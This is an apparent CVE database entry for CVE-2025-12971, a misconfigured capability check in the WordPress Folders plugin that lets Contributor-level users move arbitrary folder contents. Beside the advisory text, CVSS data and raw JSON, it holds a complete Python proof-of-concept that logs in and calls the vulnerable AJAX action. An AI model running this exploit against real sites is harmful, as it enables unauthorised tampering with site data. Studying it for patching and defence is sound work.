Security Vulnerability Report
中文
CVE-2025-12971 CVSS 4.3 MEDIUM

CVE-2025-12971

Published: 2025-11-27 13:15:59
Last Modified: 2026-04-15 00:35:42

Description

The Folders – Unlimited Folders to Organize Media Library Folder, Pages, Posts, File Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a misconfigured capability check on the 'wcp_change_post_folder' function in all versions up to, and including, 3.1.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to move arbitrary folder contents to arbitrary folders.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Folders WordPress插件 <= 3.1.5(所有版本均受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# WordPress Folders Plugin CVE-2025-12971 PoC # Misconfigured capability check on 'wcp_change_post_folder' # Requires Contributor-level access or higher import requests import sys def exploit_cve_2025_12971(target_url, username, password, post_id, source_folder_id, target_folder_id): """ Exploit WordPress Folders plugin vulnerability Args: target_url: Target WordPress site URL username: WordPress username (Contributor role or higher) password: WordPress password post_id: ID of post to move source_folder_id: Source folder ID target_folder_id: Target folder ID """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Logging in as {username}...") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Exploit the vulnerable endpoint exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # The vulnerable function: wcp_change_post_folder exploit_data = { 'action': 'wcp_change_post_folder', 'post_id': post_id, 'folder_id': target_folder_id, 'old_folder_id': source_folder_id } print(f"[*] Exploiting wcp_change_post_folder vulnerability...") print(f"[*] Moving post {post_id} from folder {source_folder_id} to folder {target_folder_id}") response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit request sent successfully!") print(f"[*] Response: {response.text}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 7: print("Usage: python cve-2025-12971.py <target_url> <username> <password> <post_id> <source_folder_id> <target_folder_id>") print("Example: python cve-2025-12971.py http://example.com contributor password 123 1 99") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] post_id = sys.argv[4] source_folder_id = sys.argv[5] target_folder_id = sys.argv[6] exploit_cve_2025_12971(target_url, username, password, post_id, source_folder_id, target_folder_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12971", "sourceIdentifier": "[email protected]", "published": "2025-11-27T13:15:58.547", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Folders – Unlimited Folders to Organize Media Library Folder, Pages, Posts, File Manager plugin for WordPress is vulnerable to unauthorized modification of data due to a misconfigured capability check on the 'wcp_change_post_folder' function in all versions up to, and including, 3.1.5. This makes it possible for authenticated attackers, with Contributor-level access and above, to move arbitrary folder contents to arbitrary folders."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/folders/trunk/includes/folders.class.php#L3291", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3402986/", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-12971/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f3845071-8419-4bb2-b22d-f9ae22fb7d6a?source=cve", "source": "[email protected]"}]}}